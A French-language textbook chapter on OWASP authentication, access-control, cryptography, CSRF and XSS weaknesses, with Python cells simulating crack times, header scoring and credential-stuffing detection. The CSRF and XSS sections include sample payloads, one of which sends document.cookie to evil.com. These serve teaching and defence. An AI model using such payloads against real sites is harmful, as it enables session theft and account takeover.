11. OWASP Top 10 — Authentification, autorisation et cryptographie#
Introduction#
L’authentification brisée (A07:2021), les défaillances cryptographiques (A02:2021) et la mauvaise configuration de sécurité (A05:2021) représentent ensemble près de 40 % des incidents web répertoriés. Ce chapitre couvre les mécanismes d’attaque et les contre-mesures pour les vulnérabilités liées à l’identité, aux sessions et à la cryptographie applicative.
Broken Authentication#
Credential Stuffing#
Le credential stuffing exploite les bases de données de couples (identifiant, mot de passe) issus de fuites antérieures. L’attaquant teste mécaniquement ces credentials sur d’autres services, pariant sur la réutilisation de mots de passe.
Statistiques observées :
Taux de succès moyen : 0,1 % à 2 % selon la cible et la qualité de la liste.
Les listes les plus utilisées (Collection #1, RockYou 2021) contiennent des milliards d’entrées.
Un taux de 0,5 % sur une liste de 1 million représente 5 000 comptes compromis.
Contre-mesures :
MFA (Multi-Factor Authentication) — rend les credentials seuls insuffisants.
Détection d’anomalies : volume de tentatives depuis une même IP, user-agents inhabituels, vitesse de frappe robotique.
Vérification des credentials contre des bases de fuites connues (
Have I Been PwnedAPI).CAPTCHA adaptatif sur les formulaires de connexion.
Brute Force et entropie des mots de passe#
L’entropie d’un mot de passe mesure le nombre de bits d’information qu’il contient :
H = log₂(N^L) = L × log₂(N)
où N est la taille de l’alphabet et L la longueur.
Alphabet |
Exemple |
N |
12 caractères |
16 caractères |
|---|---|---|---|---|
Chiffres seuls |
PIN |
10 |
39,9 bits |
53,2 bits |
Minuscules |
— |
26 |
56,4 bits |
75,2 bits |
Alphanumérique |
— |
62 |
71,5 bits |
95,3 bits |
Tous ASCII imprimables |
— |
95 |
78,8 bits |
105,1 bits |
Passphrase (BIP39) |
— |
2048 |
— |
176 bits (16 mots) |
Session Fixation#
L’attaquant impose un identifiant de session connu à la victime avant son authentification. Après connexion, la session fixée est désormais authentifiée.
Protection : régénérer l’identifiant de session à chaque authentification (session_regenerate_id(true) en PHP, session.cycle_key() en Flask).
Tokens prédictibles#
Les jetons de session basés sur des PRNG faibles ou des timestamps peuvent être prédits par énumération. Utiliser des CSPRNG (os.urandom(), secrets.token_hex(32)).
IDOR — Insecure Direct Object Reference#
Principe#
L’IDOR est une vulnérabilité de contrôle d’accès où un attaquant modifie une référence à un objet (ID, chemin, nom de fichier) pour accéder à des ressources appartenant à d’autres utilisateurs.
GET /api/factures/1042 → ma facture (légitime)
GET /api/factures/1043 → facture d'un autre utilisateur (IDOR)
Escalade horizontale vs verticale#
Horizontale : accès aux ressources d’un utilisateur de même niveau de privilège.
Verticale : accès aux fonctions ou ressources d’un rôle supérieur.
GET /api/users/123/profil → Alice accède à son profil
GET /api/users/124/profil → Alice accède au profil de Bob (horizontal)
GET /api/admin/users → Alice accède aux fonctions d'administration (vertical)
Correction : chaque requête doit vérifier côté serveur que l’objet demandé appartient à l’utilisateur authentifié. Ne jamais faire confiance au client pour cette vérification.
Cryptographic Failures#
Algorithmes faibles pour les mots de passe#
MD5 et SHA-1 sont des fonctions de hachage généralistes, non conçues pour stocker des mots de passe. Leurs performances élevées deviennent une vulnérabilité :
Algorithme |
Vitesse (GPU RTX 3090) |
Temps pour espace 8 chars |
|---|---|---|
MD5 |
~70 milliards H/s |
Quelques heures |
SHA-1 |
~25 milliards H/s |
Quelques jours |
SHA-256 |
~10 milliards H/s |
Quelques semaines |
bcrypt (cost=12) |
~20 000 H/s |
Des siècles |
Argon2id |
~10 000 H/s |
Des siècles |
Règle : utiliser exclusivement bcrypt, scrypt, Argon2id pour le stockage de mots de passe.
IV réutilisés#
En mode CBC ou CTR, la réutilisation d’un IV avec la même clé permet des attaques sur le chiffré. En CTR, deux chiffrés avec le même keystream permettent de retrouver XOR des plaintexts.
Clés codées en dur#
Des clés cryptographiques dans le code source ou les fichiers de configuration versionnés sont exposées à quiconque accède au dépôt.
Détection de secrets dans les dépôts
Outils : truffleHog, gitleaks, detect-secrets. Intégrer un hook pre-commit et une analyse CI/CD pour bloquer les commits contenant des secrets.
Security Misconfiguration#
Credentials par défaut#
Les équipements réseau, interfaces d’administration, bases de données livrés avec des identifiants par défaut représentent une surface d’attaque massive. Le botnet Mirai (2016) a compromis des millions d’objets connectés uniquement avec des credentials par défaut.
Headers HTTP de sécurité#
Header |
Protection |
|---|---|
|
Prévient XSS, clickjacking, injection de ressources |
|
Force HTTPS, prévient downgrade SSL |
|
Prévient le clickjacking (iframe) |
|
Empêche le MIME sniffing |
|
Contrôle les données transmises dans l’en-tête Referer |
|
Restreint l’accès aux APIs navigateur (caméra, micro, géo) |
Configuration CSP minimale recommandée :
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-{RANDOM}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
CSRF — Cross-Site Request Forgery#
Mécanisme d’exploitation#
Le CSRF force un navigateur authentifié à envoyer une requête non désirée vers un site cible. Le navigateur inclut automatiquement les cookies de session.
<!-- Page malveillante hébergée sur evil.com -->
<img src="https://banque.fr/virement?montant=1000&dest=attaquant">
<!-- Ou avec un formulaire auto-soumis en JavaScript -->
Tokens anti-CSRF#
Le pattern double-submit cookie ou le token synchronizer (CSRF token dans le formulaire + vérification serveur) garantissent que la requête provient d’une page générée par le serveur.
<!-- Formulaire avec token anti-CSRF -->
<form method="POST" action="/virement">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
...
</form>
XSS — Cross-Site Scripting#
Trois types de XSS#
Reflected (non persistant) : payload dans l’URL, retourné immédiatement dans la réponse. Requiert de tromper la victime pour cliquer sur un lien.
Stored (persistant) : payload stocké en base de données, exécuté pour chaque visiteur de la page.
DOM-based : manipulation du DOM côté client sans passer par le serveur (lecture de
location.hash,document.referrer).
Vecteurs d’injection XSS#
Payloads XSS courants
Ces exemples sont à des fins pédagogiques uniquement.
<script>alert(document.cookie)</script><img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">javascript:void(0)dans un href<svg onload="malware()">"><script>pour sortir d’un attribut HTML
Défenses XSS#
Échappement contextuel : HTML-encode dans le contexte HTML, JS-encode dans le contexte JavaScript.
Content Security Policy : restreint les sources de scripts autorisées.
Cookies HttpOnly : inaccessibles depuis JavaScript même en cas de XSS.
Cookies Secure : transmis uniquement sur HTTPS.
Bibliothèques de sanitization :
DOMPurify(JavaScript),bleach(Python).
Cellules Python exécutables#
Temps de crack selon l’entropie et l’algorithme de hachage#
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)
def entropie_bits(longueur, taille_alphabet):
"""Entropie d'un mot de passe aléatoire uniforme."""
return longueur * math.log2(taille_alphabet)
def temps_crack_secondes(entropie_bits, hashes_par_sec):
"""Temps moyen pour craquer par force brute (moitié de l'espace)."""
espace = 2 ** entropie_bits
return espace / (2 * hashes_par_sec)
# Vitesses de hachage simulées (GPU RTX 3090, valeurs approximatives)
vitesses = {
"MD5 (70 Gh/s)": 70_000_000_000,
"SHA-256 (10 Gh/s)": 10_000_000_000,
"bcrypt cost=10 (25 kH/s)": 25_000,
"Argon2id (10 kH/s)": 10_000,
}
# Entropies testées : de 20 à 128 bits
entropies = np.linspace(20, 128, 200)
# Références temporelles
refs = {
"1 seconde": 1,
"1 heure": 3_600,
"1 an": 3.156e7,
"100 ans": 3.156e9,
"Âge univers": 4.3e17,
}
fig, ax = plt.subplots(figsize=(12, 6))
colors = sns.color_palette("muted", len(vitesses))
for (algo, vitesse), col in zip(vitesses.items(), colors):
temps = [temps_crack_secondes(e, vitesse) for e in entropies]
ax.semilogy(entropies, temps, label=algo, color=col, linewidth=2.5)
# Lignes de référence temporelles
ref_colors = ["#aaaaaa", "#888888", "#666666", "#444444", "#222222"]
for (label, val), rcol in zip(refs.items(), ref_colors):
ax.axhline(y=val, color=rcol, linestyle=":", linewidth=1.2, alpha=0.8)
ax.text(125, val * 1.5, label, fontsize=8, color=rcol, ha="right")
ax.set_xlabel("Entropie du mot de passe (bits)")
ax.set_ylabel("Temps de crack moyen (secondes, échelle log)")
ax.set_title("Temps de crack par brute force selon l'entropie et l'algorithme de hachage", fontsize=12, fontweight="bold")
ax.legend(title="Algorithme / vitesse GPU", fontsize=9)
ax.yaxis.set_major_formatter(mticker.LogFormatterSciNotation())
ax.set_xlim(20, 128)
plt.show()
# Exemples numériques
print("Exemples de temps de crack pour un mot de passe alphanumérique (62 chars) :")
print(f"{'Longueur':<12} {'Entropie':<14} {'MD5':<22} {'bcrypt-10':<22} {'Argon2id':<22}")
print("-" * 90)
for lg in [6, 8, 10, 12, 16]:
e = entropie_bits(lg, 62)
t_md5 = temps_crack_secondes(e, 70_000_000_000)
t_bc = temps_crack_secondes(e, 25_000)
t_ar = temps_crack_secondes(e, 10_000)
def fmt(s):
if s < 60: return f"{s:.1f} s"
if s < 3600: return f"{s/60:.1f} min"
if s < 86400: return f"{s/3600:.1f} h"
if s < 3.156e7: return f"{s/86400:.0f} jours"
if s < 3.156e9: return f"{s/3.156e7:.0f} ans"
return f"{s/3.156e9:.2e} siècles"
print(f"{lg:<12} {e:<14.1f} {fmt(t_md5):<22} {fmt(t_bc):<22} {fmt(t_ar):<22}")
Exemples de temps de crack pour un mot de passe alphanumérique (62 chars) :
Longueur Entropie MD5 bcrypt-10 Argon2id
------------------------------------------------------------------------------------------
6 35.7 0.4 s 13 jours 33 jours
8 47.6 26.0 min 1.38e+00 siècles 3.46e+00 siècles
10 59.5 69 jours 5.32e+03 siècles 1.33e+04 siècles
12 71.5 7.30e+00 siècles 2.04e+07 siècles 5.11e+07 siècles
16 95.3 1.08e+08 siècles 3.02e+14 siècles 7.55e+14 siècles
Scoring des headers HTTP de sécurité#
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)
# Définition des headers et de leur poids dans le score global
HEADERS_CONFIG = {
"Content-Security-Policy": {"poids": 30, "description": "Protection XSS / injection de ressources"},
"Strict-Transport-Security": {"poids": 20, "description": "Force HTTPS"},
"X-Frame-Options": {"poids": 10, "description": "Protection clickjacking"},
"X-Content-Type-Options": {"poids": 10, "description": "Prévient MIME sniffing"},
"Referrer-Policy": {"poids": 10, "description": "Contrôle du referrer"},
"Permissions-Policy": {"poids": 10, "description": "Restreint les APIs navigateur"},
"X-XSS-Protection": {"poids": 5, "description": "Filtre XSS navigateur (obsolète)"},
"Cache-Control": {"poids": 5, "description": "Contrôle du cache"},
}
def scorer_headers(headers_presents):
"""Calcule le score de sécurité pour un ensemble de headers."""
score = 0
for h in headers_presents:
if h in HEADERS_CONFIG:
score += HEADERS_CONFIG[h]["poids"]
return min(score, 100)
# Profils simulés de réponses HTTP de différents services
profils = {
"Application sécurisée": [
"Content-Security-Policy",
"Strict-Transport-Security",
"X-Frame-Options",
"X-Content-Type-Options",
"Referrer-Policy",
"Permissions-Policy",
"Cache-Control",
],
"API bien configurée": [
"Strict-Transport-Security",
"X-Content-Type-Options",
"Referrer-Policy",
"Cache-Control",
],
"Site web standard": [
"X-Frame-Options",
"X-Content-Type-Options",
"Strict-Transport-Security",
],
"Application legacy": [
"X-XSS-Protection",
"X-Frame-Options",
],
"Aucun header de sécurité": [],
}
scores = {profil: scorer_headers(headers) for profil, headers in profils.items()}
noms = list(scores.keys())
valeurs = list(scores.values())
# Couleur selon le score
def couleur_score(s):
if s >= 75: return sns.color_palette("muted")[2] # vert
if s >= 45: return sns.color_palette("muted")[1] # bleu
if s >= 25: return sns.color_palette("muted")[4] # orange
return sns.color_palette("muted")[3] # rouge
couleurs = [couleur_score(s) for s in valeurs]
fig, axes = plt.subplots(1, 2, figsize=(14, 5))
# Bar chart des scores
bars = axes[0].barh(noms, valeurs, color=couleurs, edgecolor="white", height=0.6)
axes[0].set_xlim(0, 105)
axes[0].set_xlabel("Score de sécurité (/100)")
axes[0].set_title("Score de headers HTTP par profil", fontsize=11, fontweight="bold")
for bar, val in zip(bars, valeurs):
axes[0].text(val + 1, bar.get_y() + bar.get_height() / 2,
f"{val}/100", va="center", fontsize=9, fontweight="bold")
axes[0].axvline(x=75, color="green", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil recommandé (75)")
axes[0].axvline(x=45, color="orange", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil acceptable (45)")
axes[0].legend(fontsize=8)
# Heatmap : présence/absence des headers par profil
import numpy as np
headers_liste = list(HEADERS_CONFIG.keys())
matrice = np.zeros((len(profils), len(headers_liste)))
for i, (_, headers) in enumerate(profils.items()):
for j, h in enumerate(headers_liste):
matrice[i, j] = 1 if h in headers else 0
sns.heatmap(
matrice,
annot=False,
cmap=sns.color_palette(["#FFCDD2", "#C8E6C9"], as_cmap=True),
xticklabels=[h.replace("-", "-\n") for h in headers_liste],
yticklabels=noms,
linewidths=1,
linecolor="white",
vmin=0, vmax=1,
cbar=False,
ax=axes[1]
)
axes[1].set_title("Présence des headers de sécurité (vert = présent)", fontsize=11, fontweight="bold")
axes[1].tick_params(axis="x", labelsize=7, rotation=45)
axes[1].tick_params(axis="y", labelsize=8)
fig.suptitle("Analyse des headers HTTP de sécurité", fontsize=13, fontweight="bold")
plt.show()
print("\nDétail des scores :")
for profil, score in scores.items():
niveau = "Excellent" if score >= 75 else "Acceptable" if score >= 45 else "Insuffisant" if score >= 25 else "Critique"
print(f" {profil:<35} : {score:3}/100 [{niveau}]")
Détail des scores :
Application sécurisée : 95/100 [Excellent]
API bien configurée : 45/100 [Acceptable]
Site web standard : 40/100 [Insuffisant]
Application legacy : 15/100 [Critique]
Aucun header de sécurité : 0/100 [Critique]
Simulation de détection de credential stuffing#
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)
import collections
import random
random.seed(42)
# Simulation d'un flux de tentatives de connexion sur 10 minutes (600 secondes)
# Mélange de trafic légitime et d'une attaque de credential stuffing
def simuler_trafic(duree_s=600, n_users_legit=50, taux_attaque_debut=180):
"""
Génère des événements de connexion.
Retourne une liste de (timestamp, ip, username, succes).
"""
evenements = []
# Trafic légitime : 50 utilisateurs, ~1 connexion par minute chacun
ips_legit = [f"192.0.2.{i}" for i in range(1, 51)]
users_legit = [f"user_{i:03d}" for i in range(1, 51)]
for _ in range(200):
ts = random.uniform(0, duree_s)
ip = random.choice(ips_legit)
user = random.choice(users_legit)
succes = random.random() < 0.95 # 95% de succès pour les légitimes
evenements.append((ts, ip, user, succes))
# Attaque de credential stuffing : 3 IPs d'attaque, à partir de t=180s
ips_attaque = ["10.13.37.1", "10.13.37.2", "10.13.37.3"]
n_comptes_liste = 5000 # taille de la liste de credentials
for i in range(n_comptes_liste):
ts = taux_attaque_debut + i * 0.05 # 20 tentatives/seconde
if ts > duree_s:
break
ip = random.choice(ips_attaque)
user = f"victime_{i:04d}"
succes = random.random() < 0.005 # 0.5% de succès
evenements.append((ts, ip, user, succes))
return sorted(evenements, key=lambda x: x[0])
evenements = simuler_trafic()
# Calcul des métriques par fenêtre temporelle (fenêtres de 10 secondes)
fenetres = np.arange(0, 610, 10)
tentatives_par_fenetre = np.zeros(len(fenetres) - 1)
echecs_par_fenetre = np.zeros(len(fenetres) - 1)
ips_uniques_par_fenetre = [set() for _ in range(len(fenetres) - 1)]
for ts, ip, user, succes in evenements:
idx = int(ts // 10)
if idx < len(tentatives_par_fenetre):
tentatives_par_fenetre[idx] += 1
if not succes:
echecs_par_fenetre[idx] += 1
ips_uniques_par_fenetre[idx].add(ip)
n_ips_uniques = np.array([len(s) for s in ips_uniques_par_fenetre])
temps_milieu = (fenetres[:-1] + fenetres[1:]) / 2
# Seuils d'alarme
SEUIL_TENTATIVES = 50 # par fenêtre de 10 secondes
SEUIL_ECHECS = 40
SEUIL_IPS = 5
fig, axes = plt.subplots(3, 1, figsize=(13, 9), sharex=True)
# Tentatives totales
axes[0].bar(temps_milieu, tentatives_par_fenetre, width=9,
color=[sns.color_palette("muted")[3] if v > SEUIL_TENTATIVES
else sns.color_palette("muted")[0] for v in tentatives_par_fenetre],
alpha=0.8, edgecolor="none")
axes[0].axhline(y=SEUIL_TENTATIVES, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_TENTATIVES}/10s)")
axes[0].set_ylabel("Tentatives / 10 s")
axes[0].set_title("Détection de credential stuffing par rate limiting", fontsize=12, fontweight="bold")
axes[0].legend(fontsize=9)
# Échecs d'authentification
axes[1].bar(temps_milieu, echecs_par_fenetre, width=9,
color=[sns.color_palette("muted")[3] if v > SEUIL_ECHECS
else sns.color_palette("muted")[1] for v in echecs_par_fenetre],
alpha=0.8, edgecolor="none")
axes[1].axhline(y=SEUIL_ECHECS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_ECHECS}/10s)")
axes[1].set_ylabel("Échecs / 10 s")
axes[1].legend(fontsize=9)
# IPs sources uniques
axes[2].bar(temps_milieu, n_ips_uniques, width=9,
color=[sns.color_palette("muted")[3] if v > SEUIL_IPS
else sns.color_palette("muted")[2] for v in n_ips_uniques],
alpha=0.8, edgecolor="none")
axes[2].axhline(y=SEUIL_IPS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_IPS} IPs/10s)")
axes[2].set_xlabel("Temps (secondes)")
axes[2].set_ylabel("IPs uniques / 10 s")
axes[2].legend(fontsize=9)
# Annotation du début de l'attaque
for ax in axes:
ax.axvline(x=180, color="orange", linestyle="-.", linewidth=2, alpha=0.8)
axes[0].annotate("Début attaque (t=180s)", xy=(180, axes[0].get_ylim()[1] * 0.8),
xytext=(220, axes[0].get_ylim()[1] * 0.85),
fontsize=9, color="orange",
arrowprops=dict(arrowstyle="->", color="orange"))
plt.show()
# Statistiques de l'attaque simulée
total_attaque = sum(1 for ts, ip, _, _ in evenements if ip.startswith("10.13.37"))
succes_attaque = sum(1 for ts, ip, _, ok in evenements if ip.startswith("10.13.37") and ok)
print(f"Résumé de l'attaque simulée :")
print(f" Tentatives totales : {total_attaque:,}")
print(f" Succès (compromis) : {succes_attaque:,}")
print(f" Taux de réussite : {100*succes_attaque/total_attaque:.2f}%")
print(f" Alarmes déclenchées : {int(np.sum(tentatives_par_fenetre > SEUIL_TENTATIVES))} fenêtres sur {len(tentatives_par_fenetre)}")
Résumé de l'attaque simulée :
Tentatives totales : 5,000
Succès (compromis) : 16
Taux de réussite : 0.32%
Alarmes déclenchées : 25 fenêtres sur 60
Résumé#
Le credential stuffing tire profit de la réutilisation des mots de passe entre services. Le MFA est la contre-mesure la plus efficace ; le rate limiting et la vérification contre des bases de fuites complètent la défense.
L’entropie d’un mot de passe détermine sa résistance au brute force. La séparation bcrypt/Argon2id vs MD5/SHA-256 représente un facteur de résistance de plusieurs millions à plusieurs milliards.
L’IDOR est une vulnérabilité de contrôle d’accès pure, non cryptographique. La vérification de propriété côté serveur, à chaque requête, est la seule protection fiable.
Les défaillances cryptographiques incluent le stockage sans sel avec MD5/SHA-1, la réutilisation d’IV, et les clés codées en dur. La règle d’or : utiliser des algorithmes dédiés au stockage de mots de passe et gérer les secrets via des vaults.
Les headers HTTP de sécurité constituent une défense en profondeur. Un CSP bien configuré est la protection la plus puissante contre XSS. HSTS prévient les attaques de downgrade SSL.
SameSite=Lax ou Strict sur les cookies de session élimine la majorité des attaques CSRF sans nécessiter de token explicite, tout en permettant la navigation normale.
Le XSS stocké est le plus dangereux : il affecte tous les visiteurs d’une page, à chaque chargement, sans action de phishing. La priorité est l’échappement contextuel des sorties HTML et un CSP à base de nonces.